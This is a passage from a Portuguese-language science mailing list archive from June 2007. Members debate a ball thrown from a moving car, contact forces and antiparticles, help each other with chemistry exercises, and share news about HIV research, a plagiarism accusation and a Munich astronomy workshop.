perceptível por mera observação do vídeo, de tão pequena sua participação. E
o deslocamento inicial que percebemos, que causa teria? Poderia ser causado
pela diferença inicial de velocidades na hora do lançamento, por exemplo.
Mas não acho que poderemos chegar a uma conclusão apenas observando o vídeo.
JR3 - Razoável suas colocações.


> Ricardo - Pode ser que o vento possa ter provocado o deslocamento ou não.
> Eu acho que não posso negar na mesma medida que você não pode afirmar.
> Infelizmente não teremos como saber, a não ser que, através de cálculos ou
> experimentação, possamos verificar as condições presentes no vídeo.
>
> JR2 - Eis o ponto! Eu posso afirmar que o empuxo provoca uma aceleração da
> bola, mas não posso afirmar que a bola se deslocou com maior velocidade
> para a esquerda porque ela possuia uma alta rotação adquirida na hora do
> lançamento... Isso é apenas suposição. Uma possibilidade não comprovável,
> apenas imaginada e lógica... Mas não comprovada pelo vídeo apresentado.

Na verdade, como disse acima, não acho também que o movimento horizontal
inicial da bola possa ser atribuído inegavelmente ao empuxo. A participação
do empuxo pode ser até imperceptível ao observador. Então acho que ficamos
só com possibilidades, mesmo.
JR3 - Um carro a 100km/h não gera um empuxo tão insignificante...

> JR2 - Apesar do desvio de foco, este problema têm os mesmos componentes do

> referente ao avião sobre a esteira. Basta considerar que o carro tem uma
> carroceria tão grande quanto a correia e a bola se mantenha impulsionada
> por si mesma, mesmo após o lançamente, se deslocando com a velocidade do
> carro. A velocidade do carro será medida com referencial na pista-chão e a
> velocidade da esteira com o referencial do carro-lançador. Igualzinho ao
> que ocorre nesse problema apresentado pelo vídeo.

O problema é que a questão do avião têm um enunciado que não dá margem ao
uso de dois referenciais. Aqui não temos um enunciado. Você poderia
considerar 2 referenciais, como vc mesmo disse, ou apenas um, como um ponto
do carro, por exemplo: "Com o chão se movendo a 100km/h, abaixo do carro,
lançamos uma bola também a 100km/h, na mesma direção e sentido, então o que
deveria acontecer com a bola?". Não tem importância, pois não há realmente
uma questão, com um enunciado e a resposta certa no final.
JR3 - Creio que ficamos ainda com essa pedência... O enunciado da questão do
avião-esteira não determina os referenciais para a medição da velocidade,
assim como o problema do carro-bola. Entretanto, no do carro vc aceita que a
velocidade da bola seja medida em referência ao carro-lançador.
O que lhe impede de medir a velocidade do avião em relação a esteira?!
Observe que se a solução aceita por vc para o problema do avião-esteira
fosse transposta para o problema do carro-bola, a bola teria de ser lançada
com o dobro da velocidade do carro, para alcançar 100km/h medida em relação
ao chão.


No final das contas, estamos chegando a um ponto de vista parecido para esta
questão (do carro e da bola), eu acredito.
JR3 - Certamente. As pendencias ficam apenas nas observações que fiz acima.


Um abraço,
Ricardo

Abraços
José Renato



SUBJECT: Re: [ciencialist] Minhas desculpas - Errar é humano, persistir no erro, burrice..:-)
FROM: "Amauri N. Sanches Jr " <amaurij@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/06/2007 20:40

Embora de nossas diferenças de opinião, devo dizer que gosto de ler suas
mensagens

Abraço Homero...:-)

Amauri

Em 28/06/07, Oraculo <oraculo@atibaia.com.br> escreveu:
>
> Olá pessoal
>
> Ok, peço desculpas por ter respondido depois do pedido de desculpas, foi
> mal mesmo. Prometo não me estender nos assuntos em moratória, nem prolongar
> debates sem ligação com a ciência.
>
> E peço desculpas ao Amauri por ter deixado escapar a mensagem depois do
> pedido de desculpas dele.
>
> Um abraço.
>
> Homero
>
> ----- Original Message -----
> From: rmtakata
> To: ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>
> Sent: Thursday, June 28, 2007 3:43 PM
> Subject: [ciencialist] Re: Errar é humano, persistir no erro, burrice..:-)
>
> Oquei, outro assunto pra moratória.
>
> O Amauri já se desculpou. A mensagem liberada é uma antiga, enviada
> *antes* do pedido de desculpas.
>
> []s,
>
> Roberto Takata
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>



--

Meu blog:
http://masterofdarkness.multiply.com/journal

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http://www.publipt.com/pages/index.php?refid=avoltaire






"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Simulador de física atômica
FROM: "Luiz Antonio Picanço" <lpicanco@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/06/2007 20:55

Salve pessoal,

Estou pensando em projetar um simulador de física atômica.
O propósito desse simulador seria o de permitir visualizar o que aconteceria
se dois átomos se encontrassem, que moléculas formariam.

Estou tentando tornar o modelo o mais simples possível, sem ter que entrar
no mundo das partículas sub-atômicas.
Será que apenas considerando elétrons, prótons e nêutrons é possível criar
essa simulação ?

Vocês conhecem algum material a respeito do assunto ?


Abraços.
--
Luiz Antonio Picanço
-----------
Programando na madrugada:
http://www.luizantonio.com
NeutrineGTD:
http://neutrinegtd.neutrine.com
Não Enche:
http://www.naoenche.com


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: mais dúvidas de química
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/06/2007 22:21

Com isto vc mata os exercícios:
http://academic.pg.cc.md.us/~ssinex/Ksp.ppt

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, Phoenix Myth
> Pessoal, eu novamente... não aguento mais estudar
> química... o meu sofrimento está acabando, pelo menos
> por enquanto!
> Será que alguém me ajuda a resolver...
>
> 1) Um litro de suspensão aquosa contém 0,01 mol de
> AgBr (Ks=10^-13). É possível dissolver esse sal em
> suspensão por adição de 100 mL de NH4OH 5 mol/L?
> Justifique. Dado: Kf do [Ag(NH3)2]+ = 10^7
>
> 2) Calcule o pH da soluação formada pela mistura de 50
> mL de HA 0,1 mol/L com exatamente:
> a) 0,1 g de NaOH
> b) 0,2 g de NaOH
>
> 3) Qual o pH de cada ponto estequiométrico da
> titulação de 0,2 mol/L de H2SO4 com 0,2 mol/Lde NaOH?
>
>
>
>
>
>
____________________________________________________________________________________
> Novo Yahoo! Cadê? - Experimente uma nova busca.
> http://yahoo.com.br/oqueeuganhocomisso
>




SUBJECT: Re: Simulador de física atômica
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/06/2007 23:33

Bem pra *dois* átomos não é preciso nenhuma simulação.

Pra mais átomos se colidindo, a coisa pode se complicar bastante. É
possível uma boa previsão se nenhum dos elementos for carbono. Se
entra carbono no meio da jogada fica complicado - a indústria
farmacêutica e de química fina pagariam bilhões de dólares por um
programa q previsse com exatidão o resultado.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Antonio Picanço"
> Estou pensando em projetar um simulador de física atômica.
> O propósito desse simulador seria o de permitir visualizar o que
> aconteceria se dois átomos se encontrassem, que moléculas formariam.
>
> Estou tentando tornar o modelo o mais simples possível, sem ter que
> entrar no mundo das partículas sub-atômicas.
> Será que apenas considerando elétrons, prótons e nêutrons é possível
> criar essa simulação ?
>
> Vocês conhecem algum material a respeito do assunto ?
>
>
> Abraços.
> --
> Luiz Antonio Picanço




SUBJECT: Re: duvida
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/06/2007 23:48

--- Em ciencialist@yahoogrupos.com.br, Eduardo Goncalves
> Gases liberados pelo processo de ustulação
> % em massa
> SO2 18,29
> O2 8,23
> N2 + outros gases do ar 73,48
>
> Sabendo que a reação de ustulação da calcopirita é:
>
> 4CuFeS2(s) + 9O2(g) ®2Cu2S(s) + 2Fe2O3(s) + 6SO2(g)

Vc tem a porcentagem em massa de SO2. Vc tem a massa molar do SO2. Vc
pode calcular a fração molar de SO2.

Com um pouco de manipulação vc obtém a quantidade de calcopirita
necessária para se produzir essa quantidade de óxido de enxofre.

Aí vc calcula a quantidade necessária de O2 para reagir com a calcopirita.

Vc tem a fração em massa de O2 q entra. O q entra menos o q é usado dá
o excesso. O excesso sobre o total q entra dá a porcentagem.

Um outro modo de se calcular o excesso, é verificar q a massa de
outros gases da atmosfera não deve mudar. E a composião do ar q sai
muda apenas na fração de oxigênio q é retido na reação - pelo óxido de
ferro 2 - e pelo enxofre (no óxido de enxofre) q é liberado.

[]s,

Roberto Takata



SUBJECT: Re: duvida
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/06/2007 00:05

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> Vc tem a porcentagem em massa de SO2. Vc tem a massa molar do SO2.
> Vc pode calcular a fração molar de SO2.
>
> Com um pouco de manipulação vc obtém a quantidade de calcopirita
> necessária para se produzir essa quantidade de óxido de enxofre.
>
> Aí vc calcula a quantidade necessária de O2 para reagir com a
> calcopirita.
>
> Vc tem a fração em massa de O2 q entra. O q entra menos o q é usado
> dá o excesso. O excesso sobre o total q entra dá a porcentagem.
>
> Um outro modo de se calcular o excesso, é verificar q a massa de
> outros gases da atmosfera não deve mudar. E a composião do ar q sai
> muda apenas na fração de oxigênio q é retido na reação - pelo óxido
> de ferro 2 - e pelo enxofre (no óxido de enxofre) q é liberado.

Aliás são duas partes do mm processo.

Por exemplo, fixa-se a quantidade de ar q entra como 100 unidades de
massa. Nesse caso, N2 e outros elementos totalizam 77 unidades.

Com a fração de massa de N2 e outros no ar q sai, calcula-se o número
de unidades totais do ar q sai. Com isso se calcula o número de
unidades de massa do SO2.

A partir daí se calcula a quantidade de O2 usado na reação.

[]s,

Roberto Takata



SUBJECT: RES: [ciencialist] Minhas desculpas - Errar é humano, persistir no erro, burrice..:-)
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 29/06/2007 05:50

E toda gente bom de cabeça e não doente do pé também deve gostar. Eu,
incluso.

As intervenções do Homero, além de muito bem escritas, num estilo
inconfudível,

sem a ridícula intenção de exibir uma erudição de que ninguém precisa, são
sóbrios,

precisos e cheinhos de conteúdo. Sempre enriquece a lista. Não estou
fazendo apologias

ou querendo agradar. Que ninguém pense isso. Pensar até pode, só que pensa
troncho.

Gosto de valorizar o que é bom. E não tenho essas frescuras de
constrangimentos.

Claro que há outros com características semelhantes. Nomearei nas horas
adequadas.

Essa, minha opinião, independentemente de concordar ou não com algumas de
suas

Posições. Só que, dos assuntos que mais ou menos manjo, tenho concordado.
Por aí.

Sds,

Victor.





De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Amauri N. Sanches Jr
Enviada em: quinta-feira, 28 de junho de 2007 20:41
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Minhas desculpas - Errar é humano, persistir no
erro, burrice..:-)



Embora de nossas diferenças de opinião, devo dizer que gosto de ler suas
mensagens

Abraço Homero...:-)

Amauri

Em 28/06/07, Oraculo <oraculo@atibaia.com.br
<mailto:oraculo%40atibaia.com.br> > escreveu:
>
> Olá pessoal
>
> Ok, peço desculpas por ter respondido depois do pedido de desculpas, foi
> mal mesmo. Prometo não me estender nos assuntos em moratória, nem
prolongar
> debates sem ligação com a ciência.
>
> E peço desculpas ao Amauri por ter deixado escapar a mensagem depois do
> pedido de desculpas dele.
>
> Um abraço.
>
> Homero
>
> ----- Original Message -----
> From: rmtakata
> To: ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br>
<ciencialist%40yahoogrupos.com.br>
> Sent: Thursday, June 28, 2007 3:43 PM
> Subject: [ciencialist] Re: Errar é humano, persistir no erro, burrice..:-)
>
> Oquei, outro assunto pra moratória.
>
> O Amauri já se desculpou. A mensagem liberada é uma antiga, enviada
> *antes* do pedido de desculpas.
>
> []s,
>
> Roberto Takata
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>

--

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"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês

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SUBJECT: Re: Força de atrito e força normal não existem! UCFilho
FROM: "UCFilho" <ucfilho27182@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/06/2007 09:19

Bom dia JC, Léo e a todos,

são interessantes as discussões entre as forças de atrito, normal
e contato. Sempre podemos imaginar que existe uma única força e que é
o efeito de vários eventos distintos e simultâneos, mas há várias
situações que a ciência não segue este caminho por ele ser inviável.

Se cada evento é algo de existência real faz sentido a ele associar
uma força e a esta atribuir uma existência real. Isto simplifica a
discussão científica e em muitos casos, como problemas complexos de
fluidodinâmica, o usual é compreender as partes, com existência real,
e não a força resultante que só é obtida no fim do estudo ou, então,
nem há o interesse em obtê-la pois estuda-se o fenômeno só com as
parcelas das forças.

No contexto do plano inclinado é desnecessário a substituição do
termo força de contato por forças componentes, mas, em outras
situações, a existência das componentes das forças é algo em que há
consenso científico de longas décadas (muito antes mesmos de Leo ou
JC ou UCFilho sonharem em estudar e ensinar conceitos científicos).

Um exemplo claro: basta ver a definição de alguns números
adimensionais e outras variáveis e discutir o que se tem em cada um
destes números e variáveis (veja alguns abaixo).

Saudações. UCFilho

Número de Reynolds= Força inercial/ Força viscosa

Número de potência= Força de resistência/ Força inercial

fator de fricção=(perda de energia friccional)/(perda de energia
cinética)


--- Em ciencialist@yahoogrupos.com.br, José Carlos Antonio
<profjc2003@...> escreveu
>
> Oi Léo,
>
> Eu também sempre prefiro falar em "Força de Contato", entendida
como a
> soma de todas as forças aplicadas ao corpo pela superfície. Normal e
> atrito de escorregamento são tratadas como componentes dessa força
de
> contato.
>
> A rigor, as únicas forças reais são as repulsões elétricas entre os
> átomos do corpo e da superfície sobre a qual ele se move. A força de
> contato é a resultante dessas forças. E, uma vez dada uma força
> resultante podemos decompô-la em quantas outras quisermos, conforme
a
> conveniência de cada caso.
>
> Abraços,
> JC
>
>
> --- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> <leobarretos@> escreveu
> >
> > Olá pessoal
> > (em particular, JC, como professor e produtor de textos de
física),
> >
> > Em vários locais do Imperdível saliento a inexistência das forças
de
> atrito e força normal e as trato como meras decomposições ortogonais
> da força total de apoio, em casos vantajosos.
> >
> > Na nota final, por exemplo, do trabalho "O 'truque' do carretel",
> último item da Sala 05, destaco:
> > +++++
> > Nota 2: A 'força de atrito' e a 'força normal' não são forças
reais;
> a superfície de apoio não aplica, separadamente, duas forças no
corpo,
> aplica uma única que é a força total de apoio. Todavia, em algumas
> situações, é cômodo decompor a força total de apoio em dois
> componentes ortogonais e dai resultam as denominadas, força de
atrito
> e força normal. Recomendamos uma leitura no Equilíbrio da Escada
para
> assentar esse conceito. Repare que, quando se negligencia o atrito,
> permanece sempre a força total de apoio, que é 'normal'
(perpendicular
> ao vínculo). Em outras situações essa decomposição ortogonal não é
> vantajosa. Além disso, vale a pena tomar os devidos cuidados,
frente a
> um 'vestibular', quando a questão põe em destaque: "representar as
> forças que efetivamente agem no corpo".
> > +++++
> > Tenho recebido algumas imposições de 'professores de cursinhos',
que
> insistem que tais forças são reais e não, como cito, "resultado de
> mera decomposição 'ortogonal', por vezes vantajosa, devido à lei
> empírica de Coulomb-Morin para o atrito seco (mü.N)".
> > Em resposta, costumo dar o contra exemplo da escada encostada na
> parede e apoiada em piso áspero e pergunto como é o diagrama das
> forças --- e como variam para mostrar, em aula, o 'diagrama do corpo
> livre' usando cordéis (experimento conhecido).
> >
> > Que argumentam, em favor ou contra ?
> >
> > aquele abraço,
> > ===========================
> > Luiz Ferraz Netto [Léo]
> > leobarretos@
> > http://www.feiradeciencias.com.br/doacoes.asp
> > ===========================
> >
>




SUBJECT: Meu 1º blog
FROM: "Eugenio C. G. Hansen" <eugeniohansen@yahoo.com.br>
TO: cotas@ufrgs.br
DATE: 29/06/2007 09:20

Paz e bem!

Meu primeiro blog:
http://ufrgsgreve2007.blogspot.com/


Eugenio C. G. Hansen - bibliotecário
-------------------------------------------------------------------------
Administrador de "Reflexão Política":
http://br.groups.yahoo.com/group/reflexaopolitica
http://www.orkut.com/Community.aspx?cmm=19398164
-------------------------------------------------------------------------
O poder só é limpo
quando se traduz em serviço.
Francisco de Juanes
Só temos alegrias se as repartirmos:
a felicidade nasceu gêmea.
George Gordon Byron, 1788-1824
-------------------------------------------------------------------------





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SUBJECT: Re: [ciencialist] Re: Espaço-de-tempo?
FROM: Caio <caiocgomes@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/06/2007 09:56

Atrasado mas sempre em tempo.
Uma particula não é igual a sua antiparticula somente por nao ter carga. Ela
depende que todos os numeros quanticos sejam opostos e não dizem nada em
relação a estatistica da particula (fermionica ou bosonica). Tanto que temos
antigluons.

So para complementar: essa exigencia de particulas antiparticulas é dada de
modo que a covariancia de lorentz sempre exista.

On 6/17/07, rmtakata <roberto.takata@bol.com.br> wrote:
>
> --- Em ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>,
> "Jefferson" <jeff@...> escreveu
> > Anti-fóton?
>
> Como um fóton é desprovido de carga elétrica, um antifóton tem a mm
> cara de um fóton. Em outras palavras, um antifóton é um outro fóton.
>
> > Bom, nesta explicação, então, um raio de luz seria uma
> > sequência de sobras de fótons virtuais despareados que vão surgindo
> > pelo caminho da onda, certo?
>
> Os fótons virtuais despareados "transformam-se" em fótons reais.
>
> > Se eventualmente o fóton de um raio de luz não encontrar um
> > anti-fóton virtual este pararia?
>
> Em tese não. Ele seguiria até encontrar um fóton com q se aniquilasse.
> Mas o caminho livre médio tende a ser muito, muito, muito, muito curto.
>
> > Desta forma, o acontece com raios de luz que chegam aos "confins" do
> > universo (creio que seriam apenas os provenientes do "big bang",
> > por causa da relatividade), onde não existe qualquer tipo de campo?
>
> Pela teoria quântica é impossível existir um local em q não haja um
> campo - ainda q em larga escala (muitas, muitas, muitas ordens de
> grandeza acima da escala de Planck) tenha uma média igual a zero.
>
> []s,
>
> Roberto Takata
>
>
>



--
Caio Cícero Gomes
www.socrates.if.usp.br/~cgomes


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SUBJECT: Pesquisadores eliminam vírus HIV de células infectadas
FROM: "Fabricio Braga" <fabribraga@gmail.com>
TO:
DATE: 29/06/2007 10:24

*AIDS *

*Pesquisadores eliminam vírus HIV de células infectadas*

* RICARDO BONALUME NETO*
DA REPORTAGEM LOCAL
O vírus causador da Aids costuma ser comparado com ex-marido ou ex-mulher:
uma vez que entrou na sua vida, nunca sai mais. Até agora. Uma equipe de
quatro pesquisadores na Alemanha conseguiu eliminar de vez o vírus HIV de
células infectadas em proveta, abrindo nova possibilidade de que a doença
possa um dia ser efetivamente "curada".

"Embora ainda muito longe de uso clínico, nós especulamos que esse tipo de
tecnologia poderá ser adaptado em futuras terapias anti-retrovirais, entre
outros usos possíveis", escreveram os pesquisadores em artigo na edição de
hoje da revista "Science" (*www.sciencemag.org* <http://www.sciencemag.org/>
).

O HIV é um retrovírus e seu material genético é o RNA (ácido ribonucléico),
em vez do DNA (ácido desoxirribonucléico) necessário para sua reprodução.
O vírus lida com isso ao usar enzimas para transformar seu RNA em DNA, em
seguida integrado-o ao DNA da célula humana infectada para que ela comece a
funcionar como uma "fábrica" para produzir novos vírus. Enzimas são
substâncias protéicas que constituem verdadeiras caixas de ferramentas dos
seres vivos.

As enzimas do HIV estão entre os atuais alvos das terapias, que buscam
evitar a entrada do invasor ou a fusão dos materiais genéticos.
O problema, lembram os autores do estudo, é que os tratamentos disponíveis
hoje "apenas suprimem o ciclo de vida viral sem erradicar a infecção"; e
novas variantes do HIV surgem capazes de resistir às terapias.

A equipe na Alemanha, então, optou por sabotar a fábrica de vírus quando ela
já está instalada na célula hospedeira, mas antes que essa "indústria" possa
iniciar a sua produção de novos HIV.

Comentando o trabalho, o pesquisador Alan Engelman, do Instituto do Câncer
Dana-Farber, de Boston, EUA, diz que a descoberta, por enquanto, deve ser
considerada como o primeiro "passo de bebê" na direção certa.


Fonte:
http://www1.folha.uol.com.br/fsp/ciencia/fe2906200706.htm

[]s
Fabricio Braga
www.fabriciobraga.com.br


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SUBJECT: Re: Espaço-de-tempo?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/06/2007 10:27

--- Em ciencialist@yahoogrupos.com.br, Caio <caiocgomes@...> escreveu
> Uma particula não é igual a sua antiparticula somente por nao ter
> carga.

Eu não falei não ter carga. Mas sim ter carga oposta. Pode ser carga
elétrica, carga de cor, carga de sabor...

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Espaço-de-tempo?
FROM: Caio <caiocgomes@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/06/2007 10:36

Mas não só isso. Se neutrinos forem sem massa, o que diferencia um neutrino
de outro é a quiralidade.

Por isso que são todos números quanticos, e não só as cargas.

On 6/29/07, rmtakata <roberto.takata@bol.com.br> wrote:
>
> --- Em ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>,
> Caio <caiocgomes@...> escreveu
> > Uma particula não é igual a sua antiparticula somente por nao ter
> > carga.
>
> Eu não falei não ter carga. Mas sim ter carga oposta. Pode ser carga
> elétrica, carga de cor, carga de sabor...
>
> []s,
>
> Roberto Takata
>
>
>



--
Caio Cícero Gomes
www.socrates.if.usp.br/~cgomes


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Espaço-de-tempo?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/06/2007 11:03

--- Em ciencialist@yahoogrupos.com.br, Caio <caiocgomes@...> escreveu
> Mas não só isso. Se neutrinos forem sem massa, o que diferencia um
> neutrino de outro é a quiralidade.
>
> Por isso que são todos números quanticos, e não só as cargas.

Mizomenos, elétrons de spins complementares/opostos não são
antielétrons (até porq. nesse caso entra a exclusão de Pauli e não
poderão ocupar a mm região).

Enfim, vai remeter à simetria/conservação CPT.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Espaço-de-tempo?
FROM: Caio <caiocgomes@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/06/2007 12:07

Sim, mas eletrons tem termos de massa, que permitem transição de
quiralidade.

On 6/29/07, rmtakata <roberto.takata@bol.com.br> wrote:
>
> --- Em ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>,
> Caio <caiocgomes@...> escreveu
> > Mas não só isso. Se neutrinos forem sem massa, o que diferencia um
> > neutrino de outro é a quiralidade.
> >
> > Por isso que são todos números quanticos, e não só as cargas.
>
> Mizomenos, elétrons de spins complementares/opostos não são
> antielétrons (até porq. nesse caso entra a exclusão de Pauli e não
> poderão ocupar a mm região).
>
> Enfim, vai remeter à simetria/conservação CPT.
>
> []s,
>
> Roberto Takata
>
>
>



--
Caio Cícero Gomes
www.socrates.if.usp.br/~cgomes


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Espaço-de-tempo?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/06/2007 13:58

--- Em ciencialist@yahoogrupos.com.br, Caio <caiocgomes@...> escreveu
> Sim, mas eletrons tem termos de massa, que permitem transição de
> quiralidade.

Algumas indicacoes indiretas sugerem q os neutrinos tb tenham uma
massa - pequena, mas positiva.

[]s,

Roberto Takata



SUBJECT: FISICO DA USP ACUSADO DE PLAGIO
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/06/2007 16:07

Físicos da USP acusam chefe do Instituto de Física de plágio
http://www1.folha.uol.com.br/folha/ciencia/ult306u308269.shtml
---------------------
[]s,

Roberto Takata



SUBJECT: RES: [ciencialist] FISICO DA USP ACUSADO DE PLAGIO
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 29/06/2007 19:51

Para mim, isto não passa disto: cachorrada!.



Esses caras estão se comendo uns aos outros. Putz!



Sds,

Victor.





De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de rmtakata
Enviada em: sexta-feira, 29 de junho de 2007 16:08
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] FISICO DA USP ACUSADO DE PLAGIO



Físicos da USP acusam chefe do Instituto de Física de plágio
http://www1.folha.uol.com.br/folha/ciencia/ult306u308269.shtml
---------------------
[]s,

Roberto Takata





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Jogar uma bola a 100Km/h de um carro a100Km/h:osresultados
FROM: "André L F S Bacci" <andrebacci.listas@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/06/2007 20:03

On 6/28/07, José Renato <jrma@terra.com.br> wrote:
> Só conjecturas, André! Ainda não vi ocorrer isso que vc imagina, visto que o
> empuxo do ar tem a direção e sentido do carro em movimento.

Sim e não.

Sobre a parte de não ter visto, acredito que nunca viu o lançamento de
um pouco de confete por um carro e movimento, ou que no caso é ainda
mais ilustrativo, acompanhou os trajetos de particulas de um barco a
remo. No caso das marolas deixados pelo barco, não raro as particulas
descrevem um trajetória que indicam empuxos locais que vão no sentido
contrário do barco, mesmo para um observador externo, estacionário.

E quanto ao empuxo do ar ter a direção e sentido somente do movimento
do carro: então, como se formam os turbilhões ?

> Por mais que o
> turbilhonamento tenha várias direções e sentidos a resultante não será em
> sentido contrário.

Novamente sim e não.

No texto acima você você está considerando:

- a resultante média final de todo o ar que redemoinha atrás do carro

ou

- dado um ponto em movimento vertical interceptando um espaço que está
sendo percorrido pelos tubilhões "em movimento", e soma final das
resultantes sobre esse ponto em sua trajetória.

Como eu vejo o problema do efeito do vento sobre a bola, não adianta
nada considerar o empuxo médio do conjunto, mas apenas a influência
dos ventos "locais" à bola em sua trajetória acompanhando a "sombra"
do carro.

André


SUBJECT: Re: [ciencialist] Jogar uma bola a 100Km/h de um carro a100Km/h:osresultados
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 29/06/2007 22:36

Resumindo, André: as partículas de ar têm várias direções e sentidos no
turbilhonamento provocado pelo carro a 100km/h mas *sua resultante* é sempre
no mesmo sentido do carro. Num barco a remo, é o remo que provoca os
turbilhonamentos mais significativos, nesse caso para a parte da popa, atrás
do barco. Não equivale como exemplo.
[]s
José Renato
...........................................
----- Original Message -----
From: "André L F S Bacci" <andrebacci.listas@gmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, June 29, 2007 8:03 PM
Subject: Re: [ciencialist] Jogar uma bola a 100Km/h de um carro
a100Km/h:osresultados


On 6/28/07, José Renato <jrma@terra.com.br> wrote:
> Só conjecturas, André! Ainda não vi ocorrer isso que vc imagina, visto que
> o
> empuxo do ar tem a direção e sentido do carro em movimento.

Sim e não.

Sobre a parte de não ter visto, acredito que nunca viu o lançamento de
um pouco de confete por um carro e movimento, ou que no caso é ainda
mais ilustrativo, acompanhou os trajetos de particulas de um barco a
remo. No caso das marolas deixados pelo barco, não raro as particulas
descrevem um trajetória que indicam empuxos locais que vão no sentido
contrário do barco, mesmo para um observador externo, estacionário.

E quanto ao empuxo do ar ter a direção e sentido somente do movimento
do carro: então, como se formam os turbilhões ?

> Por mais que o
> turbilhonamento tenha várias direções e sentidos a resultante não será em
> sentido contrário.

Novamente sim e não.

No texto acima você você está considerando:

- a resultante média final de todo o ar que redemoinha atrás do carro

ou

- dado um ponto em movimento vertical interceptando um espaço que está
sendo percorrido pelos tubilhões "em movimento", e soma final das
resultantes sobre esse ponto em sua trajetória.

Como eu vejo o problema do efeito do vento sobre a bola, não adianta
nada considerar o empuxo médio do conjunto, mas apenas a influência
dos ventos "locais" à bola em sua trajetória acompanhando a "sombra"
do carro.

André



SUBJECT: Convite a 2 moços/as de idades entre os 16 e os 18 anos e que sejam BONS alunos
FROM: Maria Natália <grasdic2@yahoo.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/06/2007 00:10

...de Física, Matemática e se tenham dedicado a Astronomia ou
Astrofísica e de ensino médio, de São Paulo. Vai em inglês pois se
trata de estar em Munique...

Date of arrival in Munich: 04th August, 2007
Date of Departure from Munich: 11th August,2007
Participants: 02 students aged 16-18 years plus one accompanying
person
(preferably a Teacher)

The Academy for Gifted Students in Munich will work on a scientific
programme with students from the different regions participating in
the
Regional Leaders Forum. Students are expected to be familiar with
Astronomy and Astrophysics and able to develop activities, in
English,
with scientists from the Technische Universität in Munich. Details
of the
activities will be sent directly to the students chosen by the
partner
regions. Besides the core activities, there will be excursions and
visits
to the main points of interest in Munich.
Air tickets for the participants, to and from Munich, must be paid
by the
students, plus accompanying person.



Requirements for Application:

Applicants must be

greatly interested in astronomy and astrophysics
greatly interested in research work
highly qualified in science (high-school level)
able to speak English fluently
The application must include a summary of the applicant's knowledge
(1/2 page) in astronomy and a desc ri ption of his/her ideas with
regard to what topics modern astronomy deals with (1/2 page).
Furthermore, we would like approximately one page on the topic

"How science works".

Successful applicants are required to prepare a 20-minute talk
concerning

"The history of astronomy in my country"

We expect the participants of each country to prepare and to present
the talk together.



Language:

The language used during the summer workshop will be English.

/=/=/
Trata-se do Projecto com que trabalho com a ESA, Upsala e meus
alunos.
Se ninguém aparecer daí irão mais dois alunos meus.

Obrigada





SUBJECT: Re: Jogar uma bola a 100Km/h de um carro a100Km/h:osresultados
FROM: Maria Natália <grasdic2@yahoo.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 30/06/2007 00:28

AO AUTOR DO TÓPICO e se calhar aos distraídos q se lhe seguiram:


Atendendo a que vêm aqui molecada "aprender" para fazer vestibular
